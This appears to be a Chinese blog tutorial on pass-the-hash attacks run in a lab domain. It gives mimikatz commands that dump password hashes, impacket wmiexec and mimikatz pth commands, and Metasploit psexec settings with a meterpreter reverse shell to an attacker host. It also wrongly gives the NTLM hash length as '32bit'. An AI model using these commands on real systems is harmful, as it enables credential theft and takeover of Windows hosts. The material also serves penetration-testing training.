哈希傳遞
關于哈希傳遞
哈希傳遞攻擊是一種技術,攻擊者無需解密哈希即可獲得純文本密碼。PTH攻擊利用身份驗證協議,因為密碼哈希對于每個會話都保持靜態,直到密碼被轉換為止。攻擊者通常通過抓取系統的活動內存和其他技術來獲取哈希。
kerberos中AS-REQ階段的Authenticator是由用戶密碼Hash加密的,如果得到了某臺主機的Administrator用戶的LM-Hash和NTLM-Hash ,并且該主機的445端口打開著。則可以利用哈希傳遞。
(注意:只能是administrator用戶的LM-Hash和NTLM-hash。其他本地管理員都不行)
PS:密碼Hash中冒號前半段為LM Hash,冒號后半段為NTLM Hash,由于LM Hash算法被棄用,NTLM Hash被用來進行Windows本地及遠程身份驗證的憑據,長度為32bit、由數字和字母組成。
利用:
域:hiro.com
域控:WIN-KONG@192.168.228.10 域管:administrator
域機器: WINis10@192.168.228.40 本地管理員:administrator,aspnet
在工作組環境中:
只能是administrator用戶的哈希值才能進行哈希傳遞攻擊,其他用戶(包括管理員用戶但是非administrator)也不能使用哈希傳遞攻擊,會提示拒絕訪問。
使用wmiexec.py(impacket套件)
先使用mimikatz獲取administrator密碼hash:
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
使用administrator的hash進行哈希傳遞:
python3 wmiexec.py -hashes 00000000000000000000000000000000:fe2b69e500ee7324ae4749638074f6fe administrator@192.168.228.40
使用本地管理員aspnet的hash進行哈希傳遞:(失敗)
python3 wmiexec.py -hashes 00000000000000000000000000000000:e9ff43f2599f4986d362b4203996af5d aspnet@192.168.228.40

使用mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
sekurlsa::pth /user:administrator /domain:192.168.228.40 /ntlm:e9bf196dc93a1219e3b2e79b1b7aa36e
成功后會自動彈出一個system權限的shell

在域環境中:
只能是域管理員組內用戶(可以是域管理員組內非administrator用戶)的哈希值才能進行哈希傳遞攻擊,攻擊成功后,可以訪問域內任何一臺機器。
使用wmiexec.py(impacket套件)
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
python3 wmiexec.py -hashes 00000000000000000000000000000000:e9bf196dc93a1219e3b2e79b1b7aa36e administrator@192.168.228.10

使用mimikatz
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" "exit">resuit.txt
sekurlsa::pth /user:administrator /domain:hiro.com /ntlm:e9bf196dc93a1219e3b2e79b1b7aa36e
成功后會自動彈出一個system權限的shell

使用msf
msf進行pth攻擊(工作組)
msf > use exploit/windows/smb/psexec
msf exploit(psexec) > set payload windows/meterpreter/reverse_tcp
msf exploit(psexec) > set lhost 192.168.228.110
msf exploit(psexec) > set rhost 192.168.228.40
rhost可以是一個主機,也可以設置一個網段。
msf exploit(psexec) > set smbuser Administrator
msf exploit(psexec) > set smbpass 00000000000000000000000000000000:fe2b69e500ee7324ae4749638074f6fe
msf exploit(psexec) > exploit
msf進行哈希傳遞攻擊(域)
當我們獲取到了域 管理員組內用戶的密碼哈希值,并且該主機的445端口打開著,我們則可以利用exploit/windows/smb/psexec用msf進行哈希傳遞攻擊。
msf5 exploit(multi/handler) > use exploit/windows/smb/psexec
msf5 exploit(windows/smb/psexec) > set lhost 192.168.228.110
msf5 exploit(windows/smb/psexec) > set rhost 192.168.228.10
msf5 exploit(windows/smb/psexec) > set smbuser administrator
msf5 exploit(windows/smb/psexec) > set smbpass 00000000000000000000000000000000:e9bf196dc93a1219e3b2e79b1b7aa36e
msf5 exploit(windows/smb/psexec) > exploit

KB2871997補丁的影響
目標主機需要安裝KB2871997補丁,且只適用于域環境,而且就算打了這個補丁,administrator(SID=500)這個用戶也是可以進行哈希傳遞的。

浙公網安備 33010602011771號